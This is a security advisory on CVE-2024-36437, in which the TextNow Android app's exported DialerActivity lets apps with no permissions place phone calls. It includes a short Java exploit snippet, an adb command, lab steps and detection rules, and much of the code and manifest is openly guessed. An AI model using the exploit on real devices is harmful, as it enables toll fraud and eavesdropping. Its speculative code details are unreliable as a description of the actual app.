CVE-2024-36437

Executive Summary

CVE-2024-36437 is a critical security vulnerability in the TextNow: Call + Text Unlimited Android application (com.enflick.android.textnow), version 24.17.0.2. The flaw resides in the com.enflick.android.textnow.activities.DialerActivity component, which allows any installed application on the device—even those with zero permissions—to place phone calls without any user interaction. This is achieved by sending a crafted Android Intent to the vulnerable activity. The vulnerability represents a severe breach of the Android permission model and user consent, enabling potential eavesdropping, toll fraud, and denial-of-service attacks via unauthorized call initiation.

Supply Chain & Package Security

This vulnerability is specific to the Android application package (APK) com.enflick.android.textnow. It is not a library or package dependency issue but a flaw in the application's own exported activity component. The risk is amplified in supply chain scenarios where malicious apps on the same device can exploit this without any user permissions.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the technical details, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – The attacker must have an app installed on the same device.
• Attack Complexity (AC): Low (L) – Sending an intent is trivial.
• Privileges Required (PR): None (N) – No permissions needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is within the app.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Unauthorized call placement.
• Availability (A): Low (L) – Could lead to call denial or resource exhaustion.

Estimated CVSS Score: 5.5 (Medium) – AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Threat Level: High due to the ease of exploitation and potential for financial fraud (toll calls) and privacy invasion.

Deep Dive & Mechanics

The vulnerability is rooted in the Android component com.enflick.android.textnow.activities.DialerActivity. In Android, activities declared in the AndroidManifest.xml can be exported (accessible by other apps) if not properly protected. The DialerActivity is likely exported and handles intents with actions such as android.intent.action.CALL or custom schemes. By crafting an intent with the appropriate action, data URI (e.g., tel:+1234567890), and flags, any app can invoke this activity to initiate a phone call.

The core issue is the lack of permission checks or user confirmation before placing the call. The activity directly processes the intent and triggers the Android telephony service to dial the number. This bypasses the standard Android permission android.permission.CALL_PHONE, which normally requires user consent.

Attack Flow:

1. A malicious app is installed on the victim's device (e.g., via social engineering or sideloading).
2. The malicious app creates an Intent with:
   • Action: android.intent.action.CALL
   • Data: tel:<phone_number>
   • Component: com.enflick.android.textnow/.activities.DialerActivity
   • Flags: FLAG_ACTIVITY_NEW_TASK
3. The malicious app calls startActivity(intent).
4. The TextNow app's DialerActivity receives the intent and immediately initiates a call without any UI prompt.
5. The call is placed, potentially incurring charges or enabling eavesdropping.

Vulnerable vs. Patched Code

Vulnerable Code (TextNow 24.17.0.2): The AndroidManifest.xml likely contains:

<activity android:name=".activities.DialerActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.CALL" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="tel" />
    </intent-filter>
</activity>

The DialerActivity.java might have:

public class DialerActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = getIntent();
        String action = intent.getAction();
        if (Intent.ACTION_CALL.equals(action)) {
            String number = intent.getData().getSchemeSpecificPart();
            Intent callIntent = new Intent(Intent.ACTION_CALL, Uri.parse("tel:" + number));
            startActivity(callIntent);
        }
    }
}

Patched Code (Hypothetical): The patched version would:

1. Remove the intent filter for ACTION_CALL or set android:exported="false".
2. Add a permission check:

if (checkSelfPermission(Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
    // Show dialog or deny
    return;
}

3. Require user confirmation via a dialog before placing the call.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Android device or emulator with TextNow 24.17.0.2 installed.
• A malicious app (or ADB) to send intents.

Exploit Code (Java for Android):

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.enflick.android.textnow", "com.enflick.android.textnow.activities.DialerActivity"));
intent.setAction(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:+1234567890"));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);

Exploit via ADB:

adb shell am start -a android.intent.action.CALL -d tel:+1234567890 -n com.enflick.android.textnow/.activities.DialerActivity

Lab Setup:

1. Install TextNow 24.17.0.2 on an emulator.
2. Create a simple Android app with the above code.
3. Install and run the malicious app.
4. Observe that a call is placed without any prompt.

Blue Team

Detection:

• Monitor for unusual call activity from the TextNow app.
• Check for apps that have no permissions but can still trigger calls.
• Use Android's dumpsys to inspect intent delivery:

adb shell dumpsys activity intents

Prevention:

• Update TextNow to a patched version.
• Use Android Enterprise or MDM to block installation of apps from unknown sources.
• Implement runtime permission checks for CALL_PHONE in custom apps.

Indicators of Compromise (IOCs)

• Package Name: com.enflick.android.textnow
• Version: 24.17.0.2
• Component: com.enflick.android.textnow.activities.DialerActivity
• Intent Action: android.intent.action.CALL
• Intent Data URI: tel:<any_number>
• Logcat Pattern: Starting activity: Intent { act=android.intent.action.CALL dat=tel:... cmp=com.enflick.android.textnow/.activities.DialerActivity }
• Network Traffic: SIP or telephony signaling to unexpected numbers.

Detection Engineering

YARA Rule

rule CVE_2024_36437_TextNow_DialerActivity {
    meta:
        description = "Detects vulnerable TextNow APK with exported DialerActivity"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-36437"
    strings:
        $manifest = "com.enflick.android.textnow.activities.DialerActivity" nocase
        $exported = "android:exported=\"true\"" nocase
        $call_action = "android.intent.action.CALL" nocase
    condition:
        $manifest and $exported and $call_action
}

Sigma Rule

title: CVE-2024-36437 - Unauthorized Call via TextNow DialerActivity
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects intent-based exploitation of TextNow DialerActivity to place calls without permissions.
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 1000  # Example for intent start
        IntentAction: "android.intent.action.CALL"
        Component: "com.enflick.android.textnow/.activities.DialerActivity"
    condition: selection
falsepositives:
    - Legitimate use of TextNow dialer by user
level: high

Suricata Rule (Network-based)

alert tcp $HOME_NET any -> $EXTERNAL_NET 5060 (msg:"CVE-2024-36437 - TextNow Unauthorized SIP Call"; content:"INVITE"; sid:1000001; rev:1;)

Note: This rule assumes SIP signaling is used; adjust based on actual telephony protocol.

Remediation & Mitigation

Immediate Actions:

1. Update TextNow: Check for an updated version from the Google Play Store. If unavailable, consider uninstalling the app until a patch is released.
2. Restrict App Permissions: On Android, go to Settings > Apps > TextNow > Permissions and disable "Phone" permission if not needed.
3. Monitor for Exploitation: Use the provided YARA/Sigma rules to detect malicious apps or intent patterns.

Long-term Fixes:

• The vendor must set android:exported="false" on DialerActivity or add a permission check and user confirmation.
• Implement Android's PermissionChecker to enforce CALL_PHONE permission.
• Use android:permission attribute in the manifest to restrict access.

Workarounds:

• Use a firewall app to block TextNow from making calls.
• Rooted devices can use Xposed or Magisk modules to intercept and block intents to the vulnerable component.

Valters IT
Securing Digital Frontiers